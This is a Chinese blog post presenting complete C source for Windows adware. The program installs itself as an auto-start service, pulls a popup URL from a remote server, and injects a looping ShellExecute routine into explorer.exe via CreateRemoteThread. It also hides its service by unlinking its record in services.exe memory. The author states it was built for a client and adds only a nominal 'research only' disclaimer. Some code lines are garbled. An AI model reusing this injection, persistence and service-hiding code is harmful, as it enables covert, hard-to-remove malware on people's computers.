现在的位置: 首页 > 综合 > 正文

一个弹窗口的流氓软件

2013年10月05日 ⁄ 综合 ⁄ 共 23185字 ⁄ 字号 评论关闭

导读:
  ps:请勿用于非法用途,仅供技术研究之用。
  by:yunshu
  这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
  我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
  这个是主函数,安装,读取配置,注入代码用的。
  代码:
  /**************************************************************************************************
  * 1. 给XX作的流氓软件
  * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
  **************************************************************************************************/
  #include
  #include
  #include
  #include
  #include
  // 是否记录日志
  //#define DEBUG
  #ifdef DEBUG
  #define DEBUG_LOG "c:/debug.txt"
  // 日志记录函数
  void LogToFile( WCHAR * );
  #endif
  #include "ControlService.h"
  #include "HideService.h"
  #include "CustomFunction.h"
  #pragma comment (lib, "Advapi32.lib")
  #pragma comment (lib, "Shell32.lib")
  #pragma comment (lib, "ws2_32.lib")
  #pragma comment (lib, "User32.lib")
  #define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
  #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
  #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
  #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
  #define IE_PATH "C:/Program Files/Internet Explorer/iexplore.exe"
  #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
  #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
  // 宏,转换字符串为unicode
  #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
  // 弹出窗口之间的间隔时间
  int sleep_time;
  // 弹出的url地址
  char url_path[512] = { 0 };
  /**************************************************************************************************
  * 函数原形
  **************************************************************************************************/
  void ServiceMain( DWORD, char **); //服务入口
  BOOL SetDebugPrivilege( ); //获取debug权限
  DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
  void InjectCode( ); //写代码到远程进程
  void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
  /**************************************************************************************************
  * 程序入口,主函数
  **************************************************************************************************/
  int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
  {
  WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
  SERVICE_TABLE_ENTRY serviceTable[2];
  
  serviceTable[0].lpServiceName = SERVICE_NAME;
  serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
  serviceTable[1].lpServiceName = NULL;
  serviceTable[1].lpServiceProc = NULL;
  GetModuleFileName( NULL, filePath, MAX_PATH );
  
  // 如果服务未安装,安装
  if( !ServiceExists( filePath ) )
  {
  if( ServiceInstall( filePath ) != TRUE )
  {
  return -1;
  }
  else
  {
  return 0;
  }
  }
  
  if( !StartServiceCtrlDispatcher( serviceTable ) )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  
  return -1;
  }
  
  return 0;
  }
  /**************************************************************************************************
  * 服务入口
  **************************************************************************************************/
  void ServiceMain( DWORD argc, char *argv[] )
  {
  serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  serviceStatus.dwCurrentState = SERVICE_START_PENDING;
  serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  serviceStatus.dwWin32ExitCode = 0;
  serviceStatus.dwServiceSpecificExitCode = 0;
  serviceStatus.dwCheckPoint = 0;
  serviceStatus.dwWaitHint = 0;
  
  #ifdef DEBUG
  LogToFile( L"ServiceMain: Try to register service/n" );
  #endif
  
  hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
  if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"ServiceMain: Register service error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  
  return;
  }
  serviceStatus.dwCurrentState = SERVICE_RUNNING;
  serviceStatus.dwCheckPoint = 0;
  serviceStatus.dwWaitHint = 0;
  
  if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  swprintf( tmp, L"ServiceMain: Start service error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  
  return;
  }
  #ifdef DEBUG
  LogToFile( L"ServiceMain: Start service ok/n" );
  #endif
  
  // 隐藏服务
  HideService( SERVICE_NAME );
  // 从网络读取配置
  GetConfig( );
  // 注入代码
  InjectCode( );
  serviceStatus.dwCurrentState = SERVICE_STOPPED;
  if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"ServiceMain: Stop service error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  }
  #ifdef DEBUG
  LogToFile( L"Stop service in main./n" );
  #endif
  
  #ifdef DEBUG
  LogToFile( L"ServiceMain Done./n" );
  #endif
  return;
  }
  void InjectCode( )
  {
  if( ! SetDebugPrivilege() )
  {
  #ifdef DEBUG
  LogToFile( L"Set Debug Privileges error./n" );
  #endif
  return;
  }
  DWORD dwPID = -1;
  while( 1 )
  {
  dwPID = GetProcessIdByName( TARGET_PROCESS );
  
  if( -1 != dwPID )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"Target process id is %d/n", dwPID );
  LogToFile( tmp );
  #endif
  break;
  }
  #ifdef DEBUG
  LogToFile( L"Target process not found, sleep and continue./n" );
  #endif
  Sleep( 30 * 1000 );
  }
  Sleep( 2 * 60 * 1000 );
  // 打开进程
  HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
  if( ! hProcess )
  {
  #ifdef DEBUG
  LogToFile( L"OpenProcess error./n" );
  #endif
  return;
  }
  //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
  Arguments arguments;
  
  memset( (void *)&arguments, 0, sizeof(Arguments) );
  HMODULE hKernel = GetModuleHandleA( "kernel32" );
  if( hKernel == NULL )
  {
  #ifdef DEBUG
  LogToFile( L"GetModuleHandle kernel32.dll error./n" );
  #endif
  return;
  }
  arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
  arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
  strcpy( arguments.MyKernelDll, "kernel32.dll" );
  strcpy( arguments.MyProgram, IE_PATH );
  strcpy( arguments.MyShellDll, "Shell32.dll" );
  strcpy( arguments.MyShellExecute, "ShellExecuteA" );
  strcpy( arguments.MyUrl, url_path );
  strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
  arguments.SleepTime = sleep_time;
  // 在远程进程中分配内存存放参数,可写权限
  Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,
  0,
  sizeof(Arguments),
  MEM_COMMIT,
  PAGE_READWRITE );
  if( !remote_agrument )
  {
  #ifdef DEBUG
  LogToFile( L"VirtualAllocEx for arguments error./n" );
  #endif
  return;
  }
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"Remote Arguments' addr: 0x%08x/n", (DWORD)remote_agrument );
  LogToFile( tmp );
  #endif
  // 将参数写入远程进程内存
  int bytes_write;
  if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
  {
  #ifdef DEBUG
  LogToFile( L"WriteProcessMemory for arguments error./n" );
  #endif
  return;
  }
  // 在远程进程中分配内存存放代码,可执行权限
  LPVOID remote_func = VirtualAllocEx( hProcess,
  0,
  REMOTE_FUNC_LENGTH,
  MEM_COMMIT,
  PAGE_EXECUTE_READWRITE );
  if( !remote_func )
  {
  #ifdef DEBUG
  LogToFile( L"VirtualAllocEx for function error./n" );
  #endif
  return;
  }
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"Remote Function Address: 0x%08x/n", remote_func );
  LogToFile( tmp );
  #endif
  // 将代码写入远程进程内存
  if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
  {
  #ifdef DEBUG
  LogToFile( L"WriteProcessMemory for function error./n" );
  #endif
  return;
  }
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"WriteProcessMemory for function %d bytes/n", bytes_write );
  LogToFile( tmp );
  #endif
  
  HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
  if ( !remote_thread )
  {
  #ifdef DEBUG
  LogToFile( L"CreateRemoteThread for function error./n" );
  #endif
  return;
  }
  
  #ifdef DEBUG
  LogToFile( L"CreateRemoteThread for function ok/n" );
  #endif
  
  /*
  WaitForSingleObject( remote_thread, INFINITE );
  
  if( NULL != remote_func )
  {
  VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
  #ifdef DEBUG
  LogToFile( L"VirtualFreeEx for remote_func./n" );
  #endif
  }
  if( NULL != remote_agrument )
  {
  VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
  #ifdef DEBUG
  LogToFile( L"VirtualFreeEx for remote_agrument./n" );
  #endif
  }
  
  if( NULL != remote_thread )
  {
  CloseHandle( remote_thread );
  #ifdef DEBUG
  LogToFile( L"CloseHandle for remote_thread./n" );
  #endif
  }
  if( NULL != hProcess )
  {
  CloseHandle( hProcess );
  #ifdef DEBUG
  LogToFile( L"CloseHandle for hProcess./n" );
  #endif
  }
  */
  return;
  }
  void GetConfig( )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  #endif
  
  WSAData wsa;
  struct sockaddr_in sin;
  memset( &sin, 0, sizeof(struct sockaddr_in) );
  if( WSAStartup( 0x0202, &wsa ) != 0 )
  {
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"WSAStartup error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  
  goto getconfig_error;
  }
  struct hostent *phost = gethostbyname( CONFIG_HOST );
  if( phost == NULL )
  {
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"Resolv config host name error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  
  WSACleanup( );
  goto getconfig_error;
  }
  
  memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
  sin.sin_family = AF_INET;
  sin.sin_port = htons( 80 );
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  WCHAR ip[256] = { 0 };
  MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));
  wsprintf( tmp, L"Resolv config host name ok: %s/n",ip );
  LogToFile( tmp );
  #endif
  
  SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
  if( sock == INVALID_SOCKET )
  {
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"Connect to %s:%s error: /n", ip, 80, GetLastError() );
  LogToFile( tmp );
  #endif
  WSACleanup( );
  goto getconfig_error;
  }
  int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
  if( SOCKET_ERROR == ret )
  {
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"Connect error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  closesocket( sock );
  WSACleanup( );
  goto getconfig_error;
  }
  char send_buff[512] = { 0 };
  sprintf( send_buff, "GET %s HTTP/1.1/r/nHost: %s/r/nAccept: */*/r/n/r/n", CONFIG_PATH, CONFIG_HOST );
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  
  WCHAR tmp2[256] = { 0 };
  MULTI_TO_WIDE( tmp2, send_buff );
  wsprintf( tmp, L"Send request to get config:/n %s/n", tmp2 );
  LogToFile( tmp );
  #endif
  ret = send( sock, send_buff, strlen(send_buff), 0 );
  if( SOCKET_ERROR == ret )
  {
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  wsprintf( tmp, L"Send request error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  closesocket( sock );
  WSACleanup( );
  goto getconfig_error;
  }
  #ifdef DEBUG
  LogToFile( L"Send request ok!/n" );
  #endif
  
  char recv_buff[1024] = { 0 };
  recv( sock, recv_buff, 1000, 0 );
  if( !recv_buff )
  {
  closesocket( sock );
  WSACleanup( );
  goto getconfig_error;
  }
  closesocket( sock );
  WSACleanup( );
  char *content = strstr( recv_buff, "/r/n/r/n" );
  if( !content )
  {
  goto getconfig_error;
  }
  content += strlen("/r/n/r/n");
  #ifdef DEBUG
  memset( tmp, 0, sizeof(tmp) );
  WCHAR c[256] = { 0 };
  MULTI_TO_WIDE( c, content );
  
  wsprintf( tmp, L"Config content is:/n%s/n", c );
  LogToFile( tmp );
  #endif
  
  char *split_flag = strstr( content, "|" );
  if( !split_flag )
  {
  goto getconfig_error;
  }
  char tmp_time[32] = { 0 };
  char tmp_url[512] = { 0 };
  if( split_flag - content >32 )
  {
  sleep_time = DEFAULT_SLEEP_TIME;
  }
  else
  {
  strncpy( tmp_time, content, split_flag - content );
  sleep_time = atoi( tmp_time );
  }
  if( strlen( split_flag ) >= 512 )
  {
  strcpy( url_path, DEFAULT_URL );
  }
  else
  {
  strcpy( url_path, split_flag + 1 );
  }
  
  return;
  getconfig_error:
  
  sleep_time = DEFAULT_SLEEP_TIME;
  strcpy( url_path, DEFAULT_URL );
  return;
  }
  /**************************************************************************************************
  * 记录日志函数
  **************************************************************************************************/
  #ifdef DEBUG
  void LogToFile( WCHAR *str )
  {
  FILE *fp;
  
  fp = fopen( DEBUG_LOG, "a" );
  fwprintf( fp, L"%s/n", str );
  fclose( fp );
  }
  #endif
  这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
  代码:
  // yunshu(pst) Copy from zzzevazzz(pst)'s code
  // 几个Undocument的结构
  typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
  typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
  typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
  typedef struct _SC_SERVICE_PROCESS
  {
  PSC_SERVICE_PROCESS Previous;
  PSC_SERVICE_PROCESS Next;
  WCHAR *ImagePath;
  DWORD Pid;
  DWORD NumberOfServices;
  // ...
  } SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
  typedef struct _SC_DEPEND_SERVICE
  {
  PSC_DEPEND_SERVICE Next;
  DWORD Unknow;
  PSC_SERVICE_RECORD Service;
  // ...
  } SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
  typedef struct _SC_SERVICE_RECORD
  {
  PSC_SERVICE_RECORD Previous;
  PSC_SERVICE_RECORD Next;
  WCHAR *ServiceName;
  WCHAR *DisplayName;
  DWORD Index;
  DWORD Unknow0;
  DWORD sErv;
  DWORD ControlCount;
  DWORD Unknow1;
  PSC_SERVICE_PROCESS Process;
  SERVICE_STATUS Status;
  DWORD StartType;
  DWORD ErrorControl;
  DWORD TagId;
  PSC_DEPEND_SERVICE DependOn;
  PSC_DEPEND_SERVICE Depended;
  // ...
  } SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
  BOOL SetDebugPrivilege()
  {
  BOOL bRet = FALSE;
  HANDLE hToken = NULL;
  LUID luid;
  TOKEN_PRIVILEGES tp;
  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
  LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
  {
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
  }
  if (hToken) CloseHandle(hToken);
  return bRet;
  }
  DWORD GetProcessIdByName(WCHAR *Name)
  {
  BOOL bRet = FALSE;
  HANDLE hProcessSnap = NULL;
  PROCESSENTRY32 pe32 = { 0 };
  DWORD Pid = -1;
  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
  pe32.dwSize = sizeof(PROCESSENTRY32);
  if (Process32First(hProcessSnap, &pe32))
  {
  do
  {
  if ( !_wcsicmp(pe32.szExeFile, Name ) )
  {
  Pid = pe32.th32ProcessID;
  break;
  }
  }
  while (Process32Next(hProcessSnap, &pe32));
  }
  CloseHandle(hProcessSnap);
  return Pid;
  }
  // 修改内存属性为指定值
  void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
  {
  MEMORY_BASIC_INFORMATION mbi;
  DWORD dwOldProtect, dwWritten;
  VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
  VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
  WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
  VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
  }
  //寻找服务链表
  PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
  {
  WCHAR FileName[MAX_PATH+1];
  HANDLE hFile, hFileMap;
  UCHAR * pMap;
  DWORD dwSize, dwSizeHigh, i, dwRead;
  SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;
  GetSystemDirectory( FileName, MAX_PATH );
  wcscat( FileName, L"/Services.exe");
  hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
  NULL, OPEN_EXISTING, 0, NULL);
  if (INVALID_HANDLE_VALUE == hFile) return NULL;
  dwSizeHigh = 0;
  dwSize = GetFileSize(hFile, &dwSizeHigh);
  hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
  if (NULL == hFileMap) return NULL;
  pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
  if (NULL == pMap) return NULL;
  dwSize -= 12;
  for (i=0; i  {
  // 搜索services!ScGetServiceDatabase特征代码
  if (*(DWORD*)(pMap+i) == 0xa1909090 &&
  *(DWORD*)(pMap+i+8) == 0x909090c3)
  {
  #ifdef DEBUG
  WCHAR tmpBuffer[256] = { 0 };
  wsprintf( tmpBuffer, L"map is 0x%08x/n", (DWORD *)(pMap+i) );
  LogToFile( tmpBuffer );
  #endif
  if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
  ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
  SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
  {
  pRet = pSvcRd;
  #ifdef DEBUG
  WCHAR tmpBuffer[256] = { 0 };
  wsprintf( tmpBuffer, L"pRet is 0x%08x/n", (DWORD *)(pSvcRd) );
  LogToFile( tmpBuffer );
  #endif
  
  break;
  }
  }
  }
  UnmapViewOfFile(pMap);
  CloseHandle(hFileMap);
  CloseHandle(hFile);
  //printf( "addr: 0x%08x/n", (DWORD *)pRet );
  return pRet;
  }
  // 隐藏服务
  BOOL HideService( WCHAR *Name )
  {
  DWORD Pid;
  HANDLE hProcess;
  SC_SERVICE_RECORD SvcRd, *pSvcRd;
  DWORD dwRead, dwNameSize;
  WCHAR SvcName[MAX_PATH] = { 0 };
  
  dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
  
  if (dwNameSize >sizeof(SvcName)) return FALSE;
  
  Pid = GetProcessIdByName( TEXT("Services.exe") );
  #ifdef DEBUG
  WCHAR tmpBuffer1[256] = { 0 };
  wsprintf( tmpBuffer1, L"Pid is %d/n", Pid );
  LogToFile( tmpBuffer1 );
  #endif
  if (Pid == -1) return FALSE;
  if( ! SetDebugPrivilege() ) return FALSE;
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
  if (NULL == hProcess) return FALSE;
  pSvcRd = FindFirstServiceRecord(hProcess);
  if (NULL == pSvcRd)
  {
  #ifdef DEBUG
  LogToFile( L"Can't Find ServiceDatabase./n" );
  #endif
  CloseHandle(hProcess);
  return FALSE;
  }
  do
  {
  if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
  ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
  {
  // 匹配服务名
  if ( 0 == _wcsicmp(SvcName, Name) )
  {
  // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
  ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
  ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
  #ifdef DEBUG
  WCHAR tmpBuffer2[256] = { 0 };
  wsprintf( tmpBuffer2, L"The Service /"%s/" Is Hidden Successfully./n", Name );
  LogToFile( tmpBuffer1 );
  #endif
  
  CloseHandle(hProcess);
  return TRUE;
  }
  }
  else
  {
  break;
  }
  }
  while (pSvcRd = SvcRd.Next);
  if( NULL != hProcess )
  {
  CloseHandle(hProcess);
  }
  return FALSE;
  }
  这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
  typedef struct _Arguments
  {
  char MyUrl[512];
  char MyProgram[512];
  FARPROC MyLoadLibrary;
  FARPROC MyGetAddress;
  char MyKernelDll[32];
  char MyShellDll[32];
  char MyZeroMemory[32];
  char MyShellExecute[32];
  DWORD SleepTime;
  }Arguments;
  /**************************************************************************************************
  * WINAPI函数原形
  **************************************************************************************************/
  typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );
  typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
  typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
  void __stdcall CustomFunction( LPVOID my_arguments )
  {
  Arguments *func_args = (Arguments *)my_arguments;
  
  LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
  GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
  
  HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
  HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
  ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
  DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
  DWORD MySleep;
  DWORD sleep_time = func_args->SleepTime;
  __asm
  {
  push eax
  push esp
  sub esp, 6
  
  mov byte ptr [esp], 'S'
  mov byte ptr [esp+1], 'l'
  mov byte ptr [esp+2], 'e'
  mov byte ptr [esp+3], 'e'
  mov byte ptr [esp+4], 'p'
  mov byte ptr [esp+5], '
  lea eax, [esp]
  push eax
  push h_kernel
  call GetProcAddress
  mov MySleep, eax
  add esp, 6
  pop esp
  pop eax
  }
  while( 1 )
  {
  __asm
  {
  push eax
  push esp
  push ecx
  push ebx
  sub esp, 256
  mov byte ptr [esp], 'o'
  mov byte ptr [esp+1], 'p'
  mov byte ptr [esp+2], 'e'
  mov byte ptr [esp+3], 'n'
  mov byte ptr [esp+4], '
  lea ebx, [esp]
  
  push SW_SHOWMAXIMIZED
  push 0
  push func_args
  
  mov ecx, func_args
  add ecx, 200h
  lea eax, [ecx]
  push eax
  
  push ebx
  push 0
  call MyShellExecuteA
  
  add esp, 256
  pop ebx
  pop ecx
  pop esp
  pop eax
  push sleep_time
  call MySleep
  }
  }
  }
  这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
  代码:
  /**************************************************************************************************
  * 全局变量
  **************************************************************************************************/
  #define SERVICE_NAME L"LemonTree"
  #define SERVICE_DESCRIPTION L"LemonTree"
  #define SERVICE_DISPLAY_NAME L"LemonTree"
  SERVICE_STATUS serviceStatus;
  SERVICE_STATUS_HANDLE hServiceStatus;
  BOOL ServiceInstall( WCHAR * ); //安装服务
  BOOL ServiceUnstall( WCHAR * ); //删除服务
  void ServiceControl( DWORD ); //控制服务
  BOOL ServiceExists( WCHAR * ); //判断服务是否存在
  /***********************************************************************************
  * 安装服务
  * 参数:主程序全路径
  * 返回:成功返回TRUE,否则为FALSE
  ***********************************************************************************/
  BOOL ServiceInstall( WCHAR *exeFilePath )
  {
  WCHAR tmpPath[MAX_PATH] = { 0 };
  HKEY key;
  
  SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
  if ( serviceMangerHandle == 0 )
  {
  printf( "Install: Open services manager database error: %d/n", GetLastError() );
  return FALSE;
  }
  
  SC_HANDLE serviceHandle = CreateService
  (
  serviceMangerHandle ,
  SERVICE_NAME ,
  SERVICE_DISPLAY_NAME ,
  SERVICE_ALL_ACCESS ,
  SERVICE_WIN32_OWN_PROCESS ,
  SERVICE_AUTO_START ,
  SERVICE_ERROR_NORMAL ,
  exeFilePath ,
  NULL ,
  NULL ,
  NULL ,
  NULL ,
  NULL
  );
  
  if ( serviceHandle == 0 )
  {
  printf( "Create service error: %d/n", GetLastError() );
  CloseServiceHandle( serviceMangerHandle );
  return FALSE;
  }
  
  wcscpy( tmpPath, L"SYSTEM/CurrentControlSet/Services/" );
  wcscat( tmpPath, SERVICE_NAME );
  
  if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
  {
  printf( "Open key %s error: %d/n", tmpPath, GetLastError() );
  return FALSE;
  }
  RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
  
  RegCloseKey(key);
  if( !StartService( serviceHandle, 0, 0 ) )
  {
  printf( "Install service ok, but start it error: %d/n", GetLastError() );
  }
  else
  {
  printf( "Install service ok, start it ok./n" );
  }
  CloseServiceHandle( serviceHandle );
  CloseServiceHandle( serviceMangerHandle );
  return TRUE;
  }
  /**************************************************************************************************
  * 删除服务
  **************************************************************************************************/
  BOOL ServiceUnstall( WCHAR *serviceName )
  {
  SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
  
  if ( scmHandle == NULL )
  {
  return FALSE;
  }
  
  SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
  
  if( scHandle == NULL )
  {
  CloseServiceHandle( scmHandle );
  
  return FALSE;
  }
  
  DeleteService( scHandle );
  CloseServiceHandle( scHandle );
  CloseServiceHandle( scmHandle );
  
  return TRUE;
  }
  /**************************************************************************************************
  * 服务控制函数
  **************************************************************************************************/
  void ServiceControl( DWORD request )
  {
  #ifdef DEBUG
  LogToFile( L"ServiceControl: Into ServiceControl/n" );
  #endif
  switch ( request )
  {
  case SERVICE_CONTROL_PAUSE:
  serviceStatus.dwCurrentState = SERVICE_PAUSED;
  break;
  case SERVICE_CONTROL_CONTINUE:
  serviceStatus.dwCurrentState = SERVICE_RUNNING;
  break;
  case SERVICE_CONTROL_STOP:
  
  #ifdef DEBUG
  LogToFile( L"ServiceControl: Try to stop service/n" );
  #endif
  
  serviceStatus.dwWin32ExitCode = 0;
  serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  serviceStatus.dwCheckPoint = 0;
  serviceStatus.dwWaitHint = 0;
  break;
  case SERVICE_CONTROL_INTERROGATE:
  
  break;
  
  default:
  #ifdef DEBUG
  LogToFile( L"ServiceControl: Error arguments/n" );
  #endif
  break;
  }
  if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
  {
  #ifdef DEBUG
  WCHAR tmp[256] = { 0 };
  wsprintf( tmp, L"ServiceMain: Control service error: %d/n", GetLastError() );
  LogToFile( tmp );
  #endif
  }
  return;
  }
  BOOL ServiceExists( WCHAR *path )
  {
  WCHAR tmpPath[MAX_PATH] = { 0 };
  HKEY key;
  WCHAR value[512] = { 0 };
  int type = REG_EXPAND_SZ;
  int size = sizeof(value);
  wcscpy( tmpPath, L"SYSTEM/CurrentControlSet/Services/" );
  wcscat( tmpPath, SERVICE_NAME );
  
  if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
  {
  //printf( "RegOpenKeyEx Error: %d/n", GetLastError() );
  return FALSE;
  }
  if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
  {
  //printf( "RegQueryValueEx Error: %d/n", GetLastError() );
  
  return FALSE;
  }
  if( key ) RegCloseKey( key );
  // 如果服务的程序路径等于后门本身,表示已经安装
  if( 0 == _wcsicmp( value, path ) )
  {
  return TRUE;
  }
